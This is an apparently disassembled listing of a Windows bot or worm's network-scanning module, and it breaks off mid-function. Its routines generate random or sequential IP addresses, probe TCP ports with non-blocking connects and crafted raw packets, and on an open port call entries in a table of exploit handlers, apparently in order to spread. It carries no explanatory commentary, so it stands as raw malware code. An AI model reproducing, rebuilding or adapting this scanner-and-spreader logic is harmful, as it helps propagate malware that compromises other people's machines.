loc_40C4D5:				; CODE XREF: sub_40C165+380j
		cmp	dword_4E6430, ebx
		jnz	short loc_40C502
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40C4D5
; ---------------------------------------------------------------------------

loc_40C4E7:				; CODE XREF: sub_40C165+36Ej
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_449868 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C502:				; CODE XREF: sub_40C165+376j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx

loc_40C50F:				; CODE XREF: sub_40C165+2A8j
		mov	eax, [ebp+arg_130]

loc_40C515:				; CODE XREF: sub_40C165+298j
		shl	eax, 6
		cmp	dword_449258[eax], ebx
		jz	loc_40C637
		push	3
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jnz	loc_40C637
		mov	esi, offset byte_4E6C14
		push	104h
		push	esi
		push	ebx
		call	ds:dword_4F6378	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C556
		mov	[eax], bl

loc_40C556:				; CODE XREF: sub_40C165+3EDj
		mov	eax, dword_44007C
		mov	dword_4E6D2C, ebx
		mov	dword_4E6D18, eax
		lea	eax, [ebp+Format]
		push	eax		; Format
		push	offset byte_4E698C ; Dest
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4E6988, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4E6D18
		mov	dword_4E6D24, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4E6D28, ecx
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4498A0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 20h
		mov	dword_4E6D20, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E6988
		push	offset sub_40FB88
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, dword_4E6D20
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40C60F

loc_40C5FD:				; CODE XREF: sub_40C165+4A8j
		cmp	dword_4E6D34, ebx
		jnz	short loc_40C62A
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40C5FD
; ---------------------------------------------------------------------------

loc_40C60F:				; CODE XREF: sub_40C165+496j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4498DC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C62A:				; CODE XREF: sub_40C165+49Ej
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx

loc_40C637:				; CODE XREF: sub_40C165+14j
					; sub_40C165+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40C165	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C63B(int Dst)

sub_40C63B	proc near		; CODE XREF: sub_40C989:loc_40C9FAp

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Dst]
		push	esi
		push	4		; Size
		lea	esi, dword_4E4380[eax*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4E4148	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4E421C	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C63B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C683(char *Src,int)

sub_40C683	proc near		; CODE XREF: sub_40C989+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+Src]	; Str
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C6AB
		xor	eax, eax
		jmp	short loc_40C71C
; ---------------------------------------------------------------------------

loc_40C6AB:				; CODE XREF: sub_40C683+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C6D8
		call	_rand
		mov	[ebp+var_C], eax

loc_40C6D8:				; CODE XREF: sub_40C683+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C6E5
		call	_rand
		mov	[ebp+var_8], eax

loc_40C6E5:				; CODE XREF: sub_40C683+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C6F2
		call	_rand
		mov	[ebp+var_4], eax

loc_40C6F2:				; CODE XREF: sub_40C683+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C6FE
		call	_rand

loc_40C6FE:				; CODE XREF: sub_40C683+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4E4380[ecx*8], eax

loc_40C71C:				; CODE XREF: sub_40C683+26j
		pop	esi
		leave
		retn
sub_40C683	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C71F	proc near		; CODE XREF: sub_40BF39+59p
					; sub_40C989+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C748
		xor	eax, eax
		jmp	short loc_40C7B7
; ---------------------------------------------------------------------------

loc_40C748:				; CODE XREF: sub_40C71F+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4E4220	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E42BC	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4E4208	; select
		push	esi
		mov	edi, eax
		call	dword_4E42B8	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C7B7:				; CODE XREF: sub_40C71F+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C71F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_4E4220	; htons
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_4E4220	; htons
		mov	[ebp-26h], ax
		call	_rand
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_4E4220	; htons
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_4E4220	; htons
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	_memcpy
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_40B002
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_4E4220	; htons
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C8BB
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_40C97C
; ---------------------------------------------------------------------------

loc_40C8BB:				; CODE XREF: .text:0040C8AFj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4E4284	; sendto
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_40C904
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	_sprintf
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_415C77
		add	esp, 14h
		jmp	short loc_40C94D
; ---------------------------------------------------------------------------

loc_40C904:				; CODE XREF: .text:0040C8D6j
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch

loc_40C919:				; CODE XREF: .text:0040C940j
		cmp	[ebp-100FAh], di
		jz	short loc_40C956
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_4E41F8	; recvfrom
		test	eax, eax
		jge	short loc_40C919
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_415C77
		pop	ecx

loc_40C94D:				; CODE XREF: .text:0040C902j
		push	esi
		call	dword_4E42B8	; closesocket
		jmp	short loc_40C982
; ---------------------------------------------------------------------------

loc_40C956:				; CODE XREF: .text:0040C920j
		push	esi
		call	dword_4E42B8	; closesocket
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_40C977
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_415C77
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C977:				; CODE XREF: .text:0040C965j
		push	offset aSocketClosed_ ;	"Socket	closed."

loc_40C97C:				; CODE XREF: .text:0040C8B6j
		call	sub_415C77
		pop	ecx

loc_40C982:				; CODE XREF: .text:0040C954j
		xor	eax, eax

loc_40C984:				; CODE XREF: .text:0040C975j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C989	proc near		; DATA XREF: sub_40CBA1+13Bo

var_2A8		= dword	ptr -2A8h
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Src]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C9D0:				; CODE XREF: sub_40C989+204j
		mov	eax, dword_45712C[ebx]
		cmp	dword_4E4384[eax*8], 0
		jz	loc_40CB92
		cmp	[ebp+var_10], 0
		push	eax		; Dst
		jz	short loc_40C9FA
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	sub_40C683
		pop	ecx
		jmp	short loc_40C9FF
; ---------------------------------------------------------------------------

loc_40C9FA:				; CODE XREF: sub_40C989+60j
		call	sub_40C63B

loc_40C9FF:				; CODE XREF: sub_40C989+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_45712C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_449994 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, dword_456F28[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C71F
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40CB82
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40CAD6
		push	offset dword_4E6380
		call	ds:dword_4F63DC	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4499CC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40CAB8
		cmp	[ebp+Str], 0
		push	1		; int
		push	[ebp+var_18]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		jnz	short loc_40CAAC
		lea	eax, [ebp+var_140]

loc_40CAAC:				; CODE XREF: sub_40C989+11Bj
		push	eax		; Str
		push	[ebp+var_40]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C989+100j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		mov	[esp+2A8h+var_2A8], offset dword_4E6380
		call	ds:dword_4F63D8	; RtlLeaveCriticalSection
		jmp	loc_40CB82
; ---------------------------------------------------------------------------

loc_40CAD6:				; CODE XREF: sub_40C989+D0j
		push	edi
		call	dword_4E42AC	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax		; Format
		lea	eax, [ebp+var_178]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+Str], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+Str]
		jnz	short loc_40CB1B
		lea	eax, [ebp+var_140]

loc_40CB1B:				; CODE XREF: sub_40C989+18Aj
		push	eax		; Format
		lea	eax, [ebp+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_44924C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40CB82:				; CODE XREF: sub_40C989+C6j
					; sub_40C989+148j
		push	7D0h
		call	ds:dword_4F6380	; Sleep
		jmp	loc_40C9D0
; ---------------------------------------------------------------------------

loc_40CB92:				; CODE XREF: sub_40C989+55j
		push	esi
		call	sub_40BAAA
		pop	ecx
		push	0
		call	ds:dword_4F63D4	; ExitThread
sub_40C989	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CBA1	proc near		; DATA XREF: sub_401CC7+1F44o
					; sub_401CC7+5DAAo

var_1DC		= dword	ptr -1DCh
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4E4380[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40C165
		push	0Bh
		call	sub_40B9D6
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40CC6F
		mov	esi, offset dword_4E6380
		push	esi
		call	ds:dword_4F63E4	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4F63E0	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40CC6F
		lea	eax, [ebp+Source]
		push	offset asc_4499F4 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40CC59
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40CC59:				; CODE XREF: sub_40CBA1+99j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40CC6F:				; CODE XREF: sub_40CBA1+63j
					; sub_40CBA1+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_4F6380
		mov	edi, ebx
		mov	dword_4E4384[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40CD3C

loc_40CC8D:				; CODE XREF: sub_40CBA1+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_449A28 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B78E
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_45712C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C989
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40CD07

loc_40CCFC:				; CODE XREF: sub_40CBA1+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40CD2E
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40CCFC
; ---------------------------------------------------------------------------

loc_40CD07:				; CODE XREF: sub_40CBA1+159j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_449A5C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		add	esp, 10h

loc_40CD2E:				; CODE XREF: sub_40CBA1+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40CC8D

loc_40CD3C:				; CODE XREF: sub_40CBA1+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40CDE6
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep

loc_40CD51:				; CODE XREF: sub_40CBA1+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4E4380[eax*8]
		push	eax
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_449A94 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40CD9F
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40CD9F:				; CODE XREF: sub_40CBA1+1DFj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4E4384[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B9D6
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40CDD6
		push	offset dword_4E6380
		call	ds:dword_4F63E4	; RtlDeleteCriticalSection

loc_40CDD6:				; CODE XREF: sub_40CBA1+228j
		push	[ebp+var_2C]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_40CDE6:				; CODE XREF: sub_40CBA1+19Ej
					; sub_40CBA1+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4E4384[eax*8], 1
		jnz	loc_40CD51
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40CDE6
sub_40CBA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE00	proc near		; DATA XREF: sub_40CECD+7Bo
					; sub_40CFBE+7Bo

var_BC		= dword	ptr -0BCh
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_38]
		call	dword_4E4220	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40CEBE
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_457134[ecx], esi
		jz	short loc_40CEBE
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		mov	edi, offset byte_4E6D44
		push	offset asc_449AD4 ; "-"
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Str]
		push	[ebp+var_20]	; int
		push	edi		; int
		push	eax		; Str
		push	[ebp+var_BC]	; int
		call	sub_409D6C
		push	edi
		call	sub_415C77
		add	esp, 28h

loc_40CEBE:				; CODE XREF: sub_40CE00+5Dj
					; sub_40CE00+7Ej
		push	esi
		call	dword_4E42B8	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40CE00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; int __cdecl sub_40CECD(int Dst)

sub_40CECD	proc near		; DATA XREF: sub_401CC7+6190o

Dest		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+Dst]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_4F6380
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CEFB:				; CODE XREF: sub_40CECD+ECj
		push	[ebp+var_30]
		push	[ebp+Src]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_449AFC ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_456F28
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40CE00
		push	edi
		push	edi
		call	ds:dword_4F6384	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40CF67

loc_40CF5C:				; CODE XREF: sub_40CECD+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40CF67
		push	32h
		call	esi	; Sleep
		jmp	short loc_40CF5C
; ---------------------------------------------------------------------------

loc_40CF67:				; CODE XREF: sub_40CECD+8Dj
					; sub_40CECD+92j
		push	[ebp+var_4]
		call	ds:dword_4F6370	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+Src]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4E4148	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4E421C	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		lea	eax, [ebp+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_40CEFB
sub_40CECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFBE	proc near		; DATA XREF: sub_401CC7+5EB0o

Dest		= byte ptr -130h
var_B0		= dword	ptr -0B0h
Str		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_4F6380
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CFEC:				; CODE XREF: sub_40CFBE+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_449B24 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	1FFh		; Count
		push	eax		; Source
		mov	eax, [ebp+var_20]
		imul	eax, 234h
